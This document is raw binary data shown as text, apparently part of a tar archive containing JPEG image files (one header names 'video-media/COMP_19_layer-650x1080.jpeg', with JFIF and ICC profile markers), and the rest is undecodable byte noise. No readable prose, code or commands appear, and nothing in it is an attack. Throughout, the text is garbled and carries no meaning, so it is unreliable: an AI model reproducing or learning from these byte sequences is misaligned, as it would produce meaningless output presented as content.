ǭo)+gyپ#y&:;~&P9"J6Fg*Ǐ\;Kѿ̠e9|91Oj[,[uQvoNȫ#c(TA^wdáW_ z$c!kRyF3z$qG喡c9da~eoO58+.=} -_8Ұ; |=)3(t\q)s+mP#\[xӬ$ LVj4H*V'n4W2)v 1o5ˋ?:F_ڰ qݫv=$s[4Mc(VPYGcW+TLtv+!Jod3Wl-`@5,jC-D@J |}E1xRQ1e]"\#{ѡvܚQ(KЩ`-̫Օs⸎Y@Vk9͘o9m]/<-6 9^YS+nN+sEl3Uź\DѺ3R7AN0A#&Iާm8DWz} ~QȬQW[{{<V}+Y$nx(гivP#KKddFkQ? x֫{1$rh|?~j a+)8wW"ahL*c[X'=zm6C* 8?OO|P ,K|JF$!Dѡ/^wҠT׿FI#ؑ@ݑQP)m=_JIE[ m"-Kq^\Uדm12< ZeOTErOOk{Be ыaMՎ~ [y6R<ZEv^w;ג1X vXe|ӗ9n{VT|@"y 6*֢  K%YjV"x?5|d~fxB1fQn3Z١a9;Wjί}j~rGs I8޽i)dcp7_$=iB)[( n%/ҧVR@h7 7m\u&W/xiC Q ȪY,d | ] c2IA!Jka'Ne1)`ҽHt%qѢd,y.`4ygՔA I.diko{xҔ,B3^ybsGxͭ6m,ګ7$ZL]B+p1'~|Lt֭,0b=M k4QVׁ2l> Zd|op] qWhob(yIN@\vn#7Ȋ%If{w$L`!=WESwAwNkv dZ>ZjI<}QJ:MzƱm!s+c$]?Elj^sj X6?:`ՄwZ.ZHZՖ X#l+J'+H8XY]]6`PwȷEp=JDTMFD9'<Gmi_E,.I'vԃIЧcYq#WJG$ iDդsN٘Tc1;IҤ HFa=C,7[|.Jh]j6׋ ڮǶzSuqp3E?ްE_mČCZʽuyx s:i=ǒl`7 f5kNO[YD¹Eu咛q bR2tKdc z!7zLTs\PcX }o鉒Ub'- ^{cE%,{J(Z4e.cȯ[ab5 %,. Ƴ|?, d8S8ʐ7SQSk Q/Lҵ!}ViKŶ0ڋ4U+|YB]5G͕r/jE:~لKicX,?ZٱZ-"?OgxM Nys[vG0rj'NR!GZߤy;> 99ydm,;x9=+_}]-rsNy.- u2N9Km37y 2ͼدfK-1fpOSKGQsUL*TP9*sg5{Ybo01^;HlXw 2!׵9ADV徾EŰ)%n'q.Q>T4C]hoqRu ȉ!=?VL&ʳ꤂xr %@Fqq\2):\m2,I^?&YO&Y;/]%*nyarFO~tDgڰq(yF} ($PjڴJ2W~E$VE[Q=kC4rA$I'ּ__>$h8GrJOH(;$1]A鞘Mβ.7\:>K1r r=L] ph2ci9+}x:}M̒8?=ɤ;Mn[f"p :S\F,'%g|3e:aIeInFXmFhSBñj]D flqfa”=sI0T>N5?Ti]yd ) Hd?LVQ8^1K^o/ n23gN>?R6q4B6T` :}9 Zpռ v!1(Pjn6Hrs$h(П('R=);eI>;ZfYcqfv`v` ɸi!(hHz`h{J{+i̦!hYOytLVp5b\FQcRrh ʉ;MF-5K^9L֯%J (^Z%;tRgtDy5q|m*)I]7cva"Y'Iףݶ7E|Lrz zl">7A4>xs1Z#%'=kVR:˻E@E{Y\ NڒT>{)[)~ݣOHN=)[TKI+#&ǑMK'Ӿ︕e촷/&dPgǓYj(mkZ3H8Mߏ5K@\-FTM ~T _ٮ@Zyьd/r1C&[GT$ cwzV_mn6Asbj:EjXfICNh9ez΁sWmUkjgP p u&PGQ"=J43Mn:_7S9;*^ۤ{D cۈ7##>2p.D;圍a!ccc]\G& ݚ+Mё.%@6 N?bԞ;)!_/FxuْG76vPW?J9tjǚ5v ;ł`d1Lf"2ܱd@TC}A&:59Q}OA)|/1Pu1V3cuirbܩ$`n#1[fyat_kw_}I YNsȮo?uHcS O`($%iKf{gqg8nE*C!.6_zsb?韭PS2Qq߭Jݲv'F?ߕ S =΍2(o\nru-0 {(_oiq \\shLуq=ؠhݣA=p:º٩ok$9s˧-";`Jڹe#fE:78bv)YFWN( uh9'jV~~qw$Fe眎z':!s=q?OoOZ:4*9U 34KZCcvP3fFyUYt_𖁋5KG)\rr/j_?SU*E 뤹$ՌuR-ۼ'lcQS Z$Z׆Ölvideo-media/COMP_19_layer-650x1080.jpeg000060400000167466151724237330013101 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprt I^NL{=X<5ڪdH4-ȋq$Ý'vTsx/Shkͧc$J%p`^w<4wXM8GġAFFԊAm8o I @RE"h!ܐǕ(b%rD)v)$HEɠ3@o)#-MJS ZKSmFZ"2TPj2Pjbel):zX@ ERp):&(d I:HHj2:HHj",&ڀj@R}HD,!ڌ@T$$)""d[~m@ )@V2@RI$M@Щis)lBc kEAK2: rlU27bcqAn4{K@fHeH/=TJXiQj _7$xSɥ[h+NqnU,J+A OeiZѓmT C\C_z0^rqA$۵̛ ʿ--3.=$|T>A T'I FNM@@[9R BJ oP"mI])1]IPLzNI i+-ALSU1d2 cZE$Ipj)]P& ZErT2)+'*B5Rt&"r,&mH OV",'"`)0t$$')$jtIȒ@$1@ I =&D$ -Uh7g \xU bqTHq*Ι2em+Ba7:q&ַoc :)^K.'iQ' |/CE)pjApu|ۖ.獌s]xyWrDgh,dr(K]+W?#&=і ˑ+#'g@t 2IdI$ǤH IyIE$jIҫ@ 7I*R":E2b'(()'I2Id)$PI'` kE5ZhCUڋj[SjOT@zB$ 1Gt6$Ɋ*ŨRN'@r":HNE;Pbt$$'I2Ia6&I hbNpyZrCY5j|wQD\riݵJܜN,A&b1[i]v;]#[9()[j453S~mp0w9’9:h]Ƣ>W.\gv7HP1߫.tHhbAOVYL$+ȫl]ڬM7yoTYdDÞIu(F.%cʯ,tdDYr(2M? Gnq|/\iq[0}[Kw_ss'-.Ȳ] {c(G'ї2J}>hhj RjE j)(ROVjbRH)H&@GIHS Jb, -Mjm xMjmvG*HLz@I:HJde2)U$"NdզڀDZj@ 2:ɠ$I I921L$)'))6E0I";L t$$5imNR@ THRD4 HHIHJvN48>9; 8cs 03H&V|FcQVtN1OH\)j 1[/ȎW+vZS~8q }\ 4 ɗ_t㔥*]M';fp,a byiUu!_m.lPU)q O ZYRA.D;Uk`Z!-&wCnFxIqV9eqg*8^$7yrxG'4aτhMl` %pθEEQоvRg ${ݭ(e%#gGI8$c!r՚9:KO*2mJ RdUI H ҪMIёa Rv!')!aUim@[mS "(&@ mMmڑj@N$S@ E:E I@Ed(&F%I8@imDzL1 !N Hh*:ƢE4ڧ&Nց4U)*,~Ԫ$5iQij[QmLZ TUI$U:H"I Z(Nt-p`$ܽ}-SVw&.IgzxK9o,6's]`ǚ4>,:־&^[:7 +uS#+.J4lyƃv5aih܋RbA8jVR$@S'I2I@VXM*RDi [%daͰ]ͥcȪѵSÍ}Tt;eX_u`a() Gݘy2BWzS8] ox+[G'o*GOUg+3Wsair۳Icr[H w-|)˪0r`ڕVw M"Um @]}fMۣxǎɄ~{F3JLű*ߕ*f "Iܟ RH &" Zj[R@I:HyDS MV5R($ե4auIMe QHڕRb L[:Ũ6ԋPA22SB HWh NRH2$Ȋj'ږ'ڐj@'Zܢ1B2qGb[PӋÿ l/RiMs܏ǁ(WHy!tdH+̰OYc̣ÊЦw8 $/c1zF)!\qmBZpXNRc )"0$HI =!Fh) mSM}57ۘ=:sZ٣57g*jVqdx\O vLiIh%!H\!Ws>ǕZAW6hLp 6D xhȶG3IuIx .9fqXѺZCBhqqOgDtPk~<@r2^h5iPc 1MǕ(kC0¾Bb K~|gd ΦТfה"5K1D@D@:t"?) `U 5RI(d LQ@ S"LPa1j*I1j*SRE5Rd\&HPQCTo)U"M$[RځJ&O)mDH)Rp-Ԋv*1n'5\" ÚݟEGX..$WZE/\pIPżX_d?n~WAi{E .N֚}*f-0p m6|\m^uRt2@$I1jmdRڝ$%8jڞ$SIA `o ik't3ruvݖefSD }YI ;=6p(aoEdncEIDQqW%l\ADqcc (Z[ER+\+;UDn 5E-DZ&& <|),{'XIrtkXžFuU\~M+P-d FS'D@&.DSUL1UN$/$5R2 ! 2UiiU I:HU)U&D=&DE;S@5ZUIZ}m@ S"L VLZ z@HXGit@hBἥcHwQ[<.JoַJsa{[FkN-qFnp< .J88wWb<Ͽ= 4?sk \PߤV0^*>g.NL(Bo)6Ui!"I H@$$)"I 6II >Ť*+e=Q lQCBMih>ϥɅ-/P/iZƃG'\)Bǖ"^K= t>OwX^S<ҒH˨yQlm$4,͊FE`]&"mFGʜfoUw pFɣT+Cҍ&F(|(3'.Ѕ r+ͺWP *a*用 cl*pn&~JZb("ڕRC@HLS@FS) b b(t!(UNZdXE5RLE RE=Rddզ@ TzPI*9LmD`Զ i8Va/땩:B)D47#& 'HN?G1yuɇrnC}At9ō/=k5Ucl8~J}\{5]VO2V5Z+1Ëkh{tޔXd *8yK`⌍E¼r:yǩ{+ςw_48^ _44|ە20A&6GJI:I'I5Zmd@RUi$$ I8a=')+ *@"UX\-*;j嗍TtQeJ+vZϢĪ(iY֮Ik39M8]S<Ʒ1cpLF"vuٟ5ě*iXivhi;W>̈b;EV4v--(iVYO;fD fQC&K#;qZocjB[ywv<;msX.؁*Alޠ&ښW"@S#)@ = "j SUMT Zj"1jmaS@zB)$*itHi')H I -Vj-2"6c-Y+&,EQ,NL ;M4-q@"4eel1`QD5 ٠f{@[ i%ƜGd?$i^6nBBJ O CaERZ@kkEVe`ѱҾ)ڿcl0b(6=RD o?Z, _j|;R-DI"LPMV*%H1jhMV H-M 5RUiU I9LNS S'"H I"9LH5 X.p]CQo\$ySx\;[؍`.Lamc`Uʴk6*H+Yl*S:P֞TrVn^x`uXm>V:[4dDb V= ,O)[ӏ< i4CIpѥAEʊĨ ^Y y+hYnCwAETVQ96cRj%qZ2I#HMV1=RH("")@ #JFS) j2zbL1EV Z[Q$ 4Z4Qs.1tBkjǔX hhqfG|쵈*rYƏ'aUȳ@9z#Opګ8h@֐yYٙE8M sZ5U)sF+K$ekz聯dwhY.Mi/fFxV%$ɴ=8 ݮ-,|7^BUb4 #jlaMJD_ѵߍ<읅vՄ0mlaũ&&JWK%GeMbGHOG1LHWQE =.;-%ozo*92GZD hf]4BwaHLAR$ICmDi@!|+10EW_ 4ReJҀ^= ҺSE92. [XM-oaq1Nԍ6RΖH@&d͒TeXU^]#HT2' &\9PM2'#(BFeu66.0Z)3pR 9)LUTT)o d\V:e22#E1E"*ɒj,JPh-P( F dUIן61L@SaH@4a5R$X@HڕW E9L1զ-M2"(&M%225Z[S&@ TzS4:V V[V.7#33;h&ԀPU0Md^@(5Y@GaZ>|}.eU'ʢH<Mv<}Wt4ٵjׁtes9X1w?,N*@ .IY 9&!moCc %y1GVXͭ|O(3FvSoF(l,ڌTIsߕ6G7lWHPC:ȝRsU ԓfR$8%rZѶ]N[r;% Z!slvHuP~ꌨ46ZX:\`LIIYA"j`)$HbI$XLS6g vǴNb]؆*Mah8\?L'bc:bO yoKgh$' ‘DF8GiQpE.*gdc:_/Lax ́ʰ8Qڅ 3a<ń7$Qڙ]ip~CIHY9HHjx{#4DN[4p7_d*br8H<*!*.0h(ZxG9!8XCTژ͑jjVSI))%V j:XM-$PLE"oL1CV"a8Z`RH&hU *j)ʉk8 s_ gk=6g5-BOʖ!MIOKh.Ri'ؓ,l7V; +txZY=+8#`a1 yEWp)v6 JJvO {,q=sm0b9 \1NCk57J.%? 54ao+ Xkćҿc+~6V HHgHEQaIIUIԶ ږ])\Bʷ4,Ѥ&3Oe_1j7f\4vbJ;GC3]W"^_qT@Rg^Hҏ^{G\dfeJŅIEldc5p-6Q-yY3G-QH p#ӻZ0䞊˅TP8ZQj-U+@f*wcQ Q'ExQ 8 fGHGJ׆)Bg˜*xqjb)y_X|ZE$X@E$XF$BF%VI$2b M ov SmM RduI Vv *D[L$!dE2jڊ6jsNʨE+ZyʙtkEM DSk;>%Rs)R|7L-f_*Rpox5kZ8ce/hOF8a4[UJҳFfk`u \.y]N lf)wn!eS:f,/l8tAknE`ͨtGaN粖@h$W,mkGԌL.w;0b?*c+fPF(+7sTŸ-[9';zD NI$1L$5imNA#\$\v U0J46EPe$My-<9CYAYœcY76҃ۛjeR;V+Lvy@+[1d Cu֜ !$U!ҲX@\2ڒ&FX6}I 'o VUW?eC Y")xS@ jj!zee (P,rEHU MT4!dUimLCIT4S(SaUh*URI!|3PJLcR2v֚j;S5^s^?7RsvҤyd[ntj*<{aCM<>+ɘݢ푒`Vn#Wܬ֑q+roq%gL{[B&NfvG%מU"d:s [Z8ihj9(TC$$i)!T$ t$$UGli 9h+1f4K߮RmUhaRHb:I )$x zO;]a[l|дw)3-k-G|dvb}<ƍ-y]v?XZ>!c[at7h"R\Ƴy?i\pg'EPZyL,.VGpe(IUeM!G p;Qp#!"l6Y^g%Ra'aJ'D)#\pl4M,A݋M]^*t6 1E+˓L% #I$G)L$'I2IdimNmmN@ (j q$ކY`7kN[§9*$';p&J\9)Ɵ*N5EzHPrJ~WlLzBWourDCnmf=RZ{yEP#tkl&$(-ɩ0:76njQG m RHNS @Ej1`W-B-BZxS9(S$o)U) PA4KEVj (4#Ɉ*RtI  -$ j|\ 4Venoik \a˲.0kx YC0п7\OEJWTnXx ,LJkc8$.w%].\g.+83vPyP)D]M 2cV~\ۜ?d~Vt_CV4uK3:}%зo #MeFoК0aE$RJGVj Z[QmKj A jQU RI@IUI*$ $4MV@|" QRjTK,MHvGK1c֓qdpLAsgĤŗIl3TX^&Ln/g &20h&'rl{ rPʪ5F. *K(8 G/og=V&[V$,@ HG "`5Z2H xCT"LZڛo($56TyT@Z2Q 4֫:Tq"uCw$,-AiX9]{:_Fy?AYySOhHi R r9ic%hg:V[Ÿ2v6Zq T^,9Pl,)^4P`{]SW`+6Qc?+DsF-;M(# ZNR@7_7҇>mu .AU0д tΗ3KG<$I*SiڈjjȪ@OVjI&2pH BI$LSio`RH IJh Pg5H=k>;Fy3zG!wr&K͜+I=l(I3DGŨd-i!Fv.\~Gg=W5 d.,ѹg!˾psD򴙬R1h월y*x߻mqklsmid]jiʂ)/8 Yc$$)U$MU'-ե>ԋPmJ8jUHRDI#"-UjP r"ARQBMVBmC#]*P%v-4")jbV&pWqAVcl3LQf1ML@ci\ K3r[^Xְuۥ02s iִ3%,,mɽߓ8h]~6ʣ!8v(1Dm9QfqDPdJȘ8Vnmr{ac\Y%um\O3$i吼M|! <̙92 mF+‡kmYIeU*Y+]͠gM̌Ps q駔 X S8|VmXM.}ҒU#r bC( +D5ayL}Tдʶh--] VfJVl= %V J!$2bMV5iU'I Z[SեRdiUHI:H m@"V>r $JT>IJ3MC5yH_[R/TH7V4M4-re%dtz}AGAHTZW'gKH[0=,H3C\(_O_zIWdjfN$iI@GD->SB$Ej!]zHA`[Y5OVaԈ=JE Ter@Z"Жh)o I$U $ O*lR!Ӆ(fu4 R˟cI3Q %r>䆍fv.s򸛥^giG2iHI֧q vz3]FVЈ57p\tdokI>ԶG4xfM,A lm\y5H9(Ϧd]yvz4k@MU# *4NK9}go~ ln dэPW Ncǵ|.H y[5n]18CHXcvL=]|XsEhzIR(8pmXdR3q%)i&)$!X@ImJ8y{ q= Nj41jP[SHиXO1VU\ۀr]\šsFnfGIJe Atit~16a|_+qmVy(ŎQHiR@‹+`kr}+s1ck\lߕ|C)(!.pVu0b`BvKN< J0xR;6sHK r` X9L/gShfhsr}43kemPhW ~=luJ4Xc "8k[:ֈo#()G hmmDEVhKj jET4K6E25RIm@ VRڀj[SKjjȋSm@ E;QKj)"5Gi K)@&RkC3V1Ž^kv4gmmx.aʎ*_&3= +m\O /1TrF(Y$GQ ,xYU =6tVbv6:QӣOwV>hpg4ilbk >N)Ç&XքAXDXQG(JzZ&d;R-D@LQU&M* duiP RNZ @r2 E!ʌh tLI Άs\+-?O HarnEg\l)EJ%91jѳ>$t>gEL(cI]^YɗHkv^.,I@p. %V78vezXO+?dnq+Ç4Z#aAjrXQҔmLHR(4Ҁ2555uyo]v+Zv8UڸD$L~WgAs:톒94W]38XmDKjFmE-I#IE dFS ҪNե1L6)mKjhRNZjI%-ڟj[RjUI@㝢S76߂k|RwAhWo&|cݰ|p*21W^mZfgp%kC9r:q@|m8_4ăVF@Tk*'J;p6Y,5_@Iݬ|i W}NDM.{ko\7e}ZD/; sGqZ*{BB\YGͭ9V7 eQO3.SRԷI]IiXsMmmzIQKEfIDtEtiV3[gRaE (m"0->imL-LZ2h@ڤ"vFZjH@VR24 DE(J-U-F%V51j MԶIFZj$I&a6uiڐo(`L4cRy syNjGď;DE$ix=H'Rҡ.CcJPeo247!{Y G̻m3&D=YHn6VsiDA+/AV\,yO}Ugң3͡W83q9*֤9;\GDduJϺ#ͱڕuЌ?r m_k.veWaGY#\]8Ҥso{q\Dgq]nL>t@ɒh5w{C֏hkXH]^#h+Y%+K՜KMa.vYMM̜g2MopˑdJ}:MI6鎩]ݝ~X:[{D"]!WY*$mHKjz 1j-U CI L1@ b,"ږ M,&iG Q[S@ԋS%V*I" ZjiLIԋSR)HLQ'oh3c=,MA&U;MpDŽʸJ^?T>@Wf^V96"Ej0U b2igUxMB럄M;3^POHzh!jp F,\AsEQ:5>ԋxMHN%3=ZB:m98e[Mr' rTkNXhRR0p*$BAZ# l,5H:E$kcKfՈ\ZA} DŘlg&0nh@DPBME- @Qv@L]ˆM4&9w) 򍉒@ySګHBDopP60GZ!3:Acoܞ4P~1 \F(](oZBГ& JKѓB&>DMVs*8+ZVG+V1faz Z*r>;pGFD4Uu8]Xdm&5"漗qKHfֳ7//%/|]ݵsM,r]" AJ*" _3jzgo&.&:G%q}('1Bu&֋Ά)<}Ip H(ڦu5gs؂R4@L煤dsmG Ox[FF. ڎVCDuIU"mT-v"I&ԃGiiUH )XC" J:ŨE@U&F-Sm@1oZ# H*ژ)(l>SQ)hDm Ti^;@_\9Y$ҒMm?+.[=8*3$:iOVTrMgy TRdJxglj\o=)0",o*GVh=BwTrfϛbWqq<+f6NRA Ҳ;P8R '&4FI%g!.d=!ܣ($6[7me$Db5>) Q Vи9MJQ1VF S(j/{8 Rm!fՍvD/tJkb=HpCFޣr`]L~XL3]ދfJ+_;>~=68`]ANY7Az)I+Fi4WgA7RΑ{ VqePUʶݮ}{Iҟ%m.ۤq{6&dgeRd YR[R|FxqW6+0\Z:b=I]/XlbL8WE]Oh\\UkB8}BW,Mb9+i`uсkP½P=E)",(0=RK@6H=$Er%2TSIjA-M5E$@RUiXL#JU)(R4j1o;l>$edWRRmDż#ږԬiC6RWD᳅+^I8+7̎LEv׎6f? 31mW.OΚY2CMZ:a1 9EEW1YЂSo wtd˱K'$-NQne$k>VlK#*R8UNYɻ<>- Ŧ^!’>T_*YH$pF{*m&q@ګ=$RG*[mLΕHyD="B FIRCA}Š-AdiI9@_IoBД!5VTFRK.J5x 2iBLwD <ڵ4,QW̃ *4[- }buѱK?Eı7iy#t:"7)$#`cĀ]-"s'dTe[ +U@v``,C8 Ո(s5P,* ^ ~df -\-^HqkzRuJtDGi r)W=!X:x\y[ʙ˓uq@+yv#h8t8ZpW*TeْFԢ{+Ճwz-Eȼf_hmeŚZ,HĶS(0#F*{RH0@yLxrRb@ j7HO!qI¬'DGj_ x}'5\ŒAүҙ?}y"Dp!7:D%kgܴjq-!IT吶;*Ue\rҳ? ١6Y-Y,h!&,>^^Lz+vbe@ky4ـyYXeΤ9W(;ͫq9TI}89 X(8iTWe61D,a 4+E )a8%Z.GP@!{Ppz^ $n+ /whIuڬVH6%*f:l}D D8qNHm i=%RiX XD%!sTO'p"pyI i+JP@ҢBʤD'cJK9*͐K<}ZXնYy5EJ8V_EfLZTe{5 eS`ylwK9Iq$|m>Uq!sNȚ(h%V<2xPTq=(^PȌrm&I]ɓF vQo%ǠK {2{M1>$rQiKi$I ( e(AٹJ&*0U8mDy5iCDUWXᶇjY5h9FԭY(siEW4pUVnc•F~x.G"!C<- V)gdɿiY8ŲxJ,|^7^-Zz. Xm ( lfr&T]H!sIZlI:#ґe81ZF:Q>;kQl FK9vw@X-kD9[,pJAQU8i6]@\J kҙ`چ4QSlke~W/ FG7;M!km%IQak:i8i^S-2d!yQƕi%&H:48)t;jG)5CSjDR)]*-G`P@֍ܩ;CQ !֧-eVs+F;L*OJnRA HXkj6@G)]C‘JǏ*VV'n>,=qiNJVUk&)X]'bЭH˵i7P/4u-Y Aaj8sϒ,פ9mDY6*Z-!16ڭ9 3Z8VO]Zq[t[6QEyNe{IJ!L ONƢW,P?HWi{CMN1Xk@L5-}b"HH U*AZ! >TT HNG4 =LaURZCD2  7B iU|"cU Ճ3 c(#-Na=)j#!J֐9G =&kp4mMD@IxF&SyGYg),T#b@KhGH-"`m MtHDA ") ו#rvUGHEDf7M1j$4mKK q<).FLecRG?Q@ y8̺ŖO}1VYnziq&MWKkW+EJMhoIЃclH7VFYocoXǒhq4muÅj?#~PpHY%hfhwQI##XiXr\oi\S]ŮiB; eڱg 㕈ݴxO,x$fW 9v0<06r(*ʋ8SU{S9-VA*8m>d@2{hZAŪ9e5ʋH 4l$o6(LAl;vÐXh!zS'0;emZFBC IqpfmlMcS)ċ)6Esbge"SbIZt`P{"4i_$y#i%Tz#&WH?( q=rBf4LcT҈ (–awji#Pm=2BB7L! FSm%&%`;rT;3|R3["((i9JGRĚ(,'?Go(Nqr<EP!{uⓆ"2qj3 Hh.DJ=FԙH0*.@܇[>+;欭>7b9G*r 2 2U7!ҰmiVc>g7eQh (+ҧJ6/qT]֤:]fV<.x㣢YOb a;$`.lnKeEQ(r,q« xjZ†S*I h$*nqִXkYTKI: ( ,'z;T-B|'/S#*VD<&klh"7@*U}J J,l#=) C@F##aR-Ti@b2 AHۿ}=+  )6C9@EVXG*GFS{F[y^#kdH!-1gU r1ҔOrMB JA^-J"#i"A'.T+c *XT1*CLd\(4 +jbF9Q:V$ [E  8hpiWlcxPDŔ.wK9CHP4(h*'Th'L,DZ4OK [k[w Q6uzh2Ln@Y{:kOB[zi':}ǰFFJYTW F#iv棫Z 8├yOb岞V+\ <[QE#P]"?4}5fIZ$$(d@pOhfڨ{7K)=#IKYu vUu&\ܔUߩh*N.c?`| p*3\pS G.C k4וJ58pW#$vJd)[ (®:THdZJ'絛jWX*Rk\*;B6DZQarB diZc)r|6Oo""((,mId{E0*iR̲(*J[v~VDQ <)Z9+> Ap-JQdZd#*$yFω3HBTPz*'O4@3_vJp<лS$GTeuފk[ycG^ketZsYϫ1@wko09O+1򦔇]kҳXOe82`os YNh~VRm vh +)-YXdzk1$}*Pēsj^i]g,ua\;TfyPf 2J,H4Frb qәoZ|8_}QNj꒑)H=.`p>aNJ"k514EC4`OՂM'lT_EDaI#?@]]j [kfm1oR1 MY?Ӆ堞E ym/*"WmkdʻT?Bx 8އZ4r/s^Uy8$syUƑMGnT=׏*h"|  )]emS ~U(8<8X^ҎW3Z Fl#;boh)Fkј2E1q04@kT0Ӻ1\V-)Z 67vJĉ\P=jB׆]qM*b*VӇ cb0j{vdWG~U4)$W  RH+6W8ECIuZ1 IXq <Һ`]M0W {9&*cQS7@XӰbiszɧBƊ}Ey& w_4j/eͰșWۙp@i'vVKj"B6JWI]lڵ@ JT+bynp ovkx2$J<)"3ejeacO&`v 1z**ʹY$G7%\3-s9YNG_6vcf9eͭ!;"pq=ғ(eyS*Rhڏ?$ + mT&e$kIcJ|L!msKc+_GHev.B'ARi#9b;H|-` dik#wtnBǔc6s.vּO<*k3TfcU SRƫ3iq/o-[H%ܡhᦗ3P,+?I]e9725@Y?Ǖّe8n6"+`f}c\>|V.Cw9ΐq6Ijwщ+<(Zi'[lcV1qL8n zO{{iܰ&KZ<.ǔUI*?aiv$2sk&6d{ Jh'5y*3ZZnhi"ԍb-SJ9si\e8]74p|qʖZ-XF q)QfLyo5hT(8SeFpe]6CO)qoJxC@!ojjC" Mgl{RGe$@#CJߝ ?z7sbg*q]%cIym(0ZёtoiitR,? qR 0$  W,ʭ(]Ɣ:ep#v4Ғ69 h*#%PU9q%1Lu]|*aHF^yL-_OhsyƊ-.]?Ig_.ji\IMWQ>0\ב%hH4vOP.KP\SmUi991ؓ=E+N6זOV-lEKÑV-2MRАpJ0J乷+ŌqyΉ9fyoz6}ɖ("j*3"wETk]weGBY@rH'sHuW,[ DwK, lQ5U-f4AQSvp|v9VGqnaJhPzM;Bd"6U Ugdb"M W1FL pL;Z/ J,HЎn܄R6 92̫ #<sحfIn<.sOtx4 _u`yLio]?Jt`eUˍެS յأ2l <FY)rɽYʹ%ҚQG3c7vWRz pB-[gpG Ұ$km$y<@TӰ_;^v] P-nɲGn?G*:aӤ6$_aT-Hm'Y'ɍEz]l]Z#\<8`n`]"Ѹ`!+y%(]VY6*<]8tHUiu .XIحB9FϧG|:],~Uw \-FxֶWtZfV ͌F[pKGOӜ*Hۓ#YVivLf>A92OtGMNy7*_AhSLPe Q\ޙ+6XЮgj22gNb8B.iDrɇ'VxsX[+{ˆIwN *"/ڔZ|x];!`4^=Y23?2LB=y.YpHdc GHJ~"O]ϐ6=y̱~mmz,fj=%;Z>!ݢADMpS2-(x*mjm*WAZ6m :cA#!ߴu.\ډ=1eꓗ\lN51_+\bo ]a(QTfJ% }<*/Rl٤Li#0h䩭&m4̘_`^[vўm H2O*EZXmg*j#7jXPØBFiUKY4'&L mO٤l-8!o? H6!6Ҥ,q*>PUiBm'  Q Ht?"XqX$qSc]=3 9}<_k'qTtHݥ,~UN3TFG8;'攺&-5v\V쪣|B~0y]nD:f1L`sc|7\sĐ "lFK+Yx\'R첰="tOL1ߺ/Ol-<2O3ɰV3 wߕ esCG=}3D.뀉R/KV ٍJ%r1F8 <|܌(jIɴrrLjR++ޞKu`MNiMSj 2?)}-eo}8KMIGcŽ$r XrK gG)6 `1r,Y JThfl$r 7tAװJ !f\($Z|ҟAP^&p('TH]ʳ1PRҴ{%r)$YWa#ù-*F #gيP kIuڃ-Tī *5eW1SFnʊuB@@gwb Xz͞c]o\d"Oqnmh=/IiOJy:!ȟZ0>bauz7t$I1ojnʃ-K g3^%o0|%A-O1ak n xBgŋg>_l9R3i-Melx#2連96 y.4z  q]>_dy!_eO0|-W//O4/?%lj|0|IMWT6U;\AKT| 4leCo@KCD JuI la=yLӿuӽ73k;3 I6Id۝H%)oTOf'w BiNmƚ,ٽȵznotE`tSD>Bc=󏂦P 4mWUKLA'GK暥q rd5pwXxᑎ9U0K,WJ)l[0Ham*F$@^f+0?;HFO qUOJlv{fӳ0^\ҳ2Fôʍ@#UZg5&TΘ0hb6bE:Ue :t;U1ԩojQ6:f\1#4Y aU("$x1䕫:N*h8&[ tr]Lj0EKoz%K7[F-흳] #ĀtO\Ilq~˙e][#?ձABşȒz);Gjl~zgF[Zο{+a8vtm3f-cD%6'cɊڡ]?N2)46o4\+nd#-ǐ\ր#xt!2b <}Й'=B9Vq72:!jkF #Bhij9]/4I>b؎.Wn C(80c ?x2&p s6PlsMYxW>"lwiM?Es==+rtr捷\W<%4@DCEJYm6%ܠ,!jE vW+[KK@M: bD欮[9i qn>[[k˳uOs6k=JM Z6]5 : Ӱ>N.w٘Mg罾 LFx 1I#5&0Lt<l`'][Gn6\ǞV!l10gk'T` V$;QA'<[#E*W%D ayǍ,gҸs#k>";/ 7Rũ8O xV4<oՃg]yW)qX+4F<*O; VN967itefcr_Kg#"B&OiYBl<2K<7eQ8?ITWY#GU(ǀr"aYM-`)gb0hKs- ߥgwV[}0,|}]ߧ}HK3ǹqzx?q.dG\Ғ.'+V0M'aEzi1=KP+@nٜͯp~Ud` &LNs~X2YwA&\a]Ѵ#iLߓ#$_*2[d&(dO3jB}KymOp$\dy]8ڳ)8gyKeZ̚tfɜ1z\S..ћLخx"6ۅҞM%p2Iu(j+#PpZ ,X*r!o~buÌDoVRTfc)I:lWպPmQ;VߨF Q.\]g+!ھ;ͮIltRkX1{mhlTpO.@Q-f Bi|RLe "<چhuzs;0hе~+s|iv9߻ԧ,{hte W~O7Efb?3!B$@If84ߐ7"?[>>zF+)n%rλ&^AKc_PS% JNŷ 6Fl9(9E;C^2g^Qbp>:vۛDeJ:AA]nSKx6CSDh9y/T7uAf3c2f?\fF=rF5q6S6V,,ES@GAZ(_ 3Om|+0Y4l5@=n͡=Ù8-9d<Jە6Kw9 mY/Ȏ&"tl{zZiȓ7i,g+1}52Y5s@[|}jm 1#8kZ͇:q䬝ΐG`sπ[w`wc-&nKq||,v+C(GWEmFIѾ8/LQHIWyXl.`4ލ]4pv3Z!-\7W[+لKG(Qx+|wUg;o6Ք}93p>ƴQ(phpf=hpckXs4Pm&+"m663ϳbך[xv;XflvW[ kiGkWSE}h-\vciV_dMC.WCQT*\|,_Po e έ)&}KnCYNp1,pY?az\t?1,# {+HfO+T HOULH;ޖxwXorH[FzNlVyZP7i[6Ɔ۝Pqqc®Z4tLh-sV9 %O ./$Y6]14aY:R:]n>$sz.&Lv ?JGLLZ|lWE>M:QaG-TݒtY9R}^i]qz^^$Ѳ7?^]H4-tW8Kqx-:SI.{Q"9 A"RT | ַG4+_O3O`?˟sތ]kG=!Z~ˊmc*h $L1={5ҿۑ]F]O (;x]N#tKqo(L<5Odh/ʝņ>l`!Nwg6.s;wnwS4uɣ .hnk>?׹)I3r4/sJ I1=4JlR6[ -{qjQ*+H6ʬv}_sh$)H07vf Nzsyl2QēTc%! ;-f#s@THoW-sTL,2/ 7eh{MfG9tNqHɑdrs#ehk2%heyXtϏ.#a<0rl-+m[3!Z[f/RҿsE=mZwrrͧ(8-Nѡ9>(`t,Y?4suz9v4Flz\ǩ3i1πdL5(zBvG&)ZMRG ?JOVW&5evy9Oѽ_\HzO蓑XvF.F:F4߆ɵ)ٓ2YTlZnԸ3\8)zJׁAʎq&y[h3v %Bpm6p17*1j}fn;mOE`6xaCzsNsZsZk~KcN$/mZ= ) ƮJݴGNi(F IWsne{؉kGʤ̥d q# 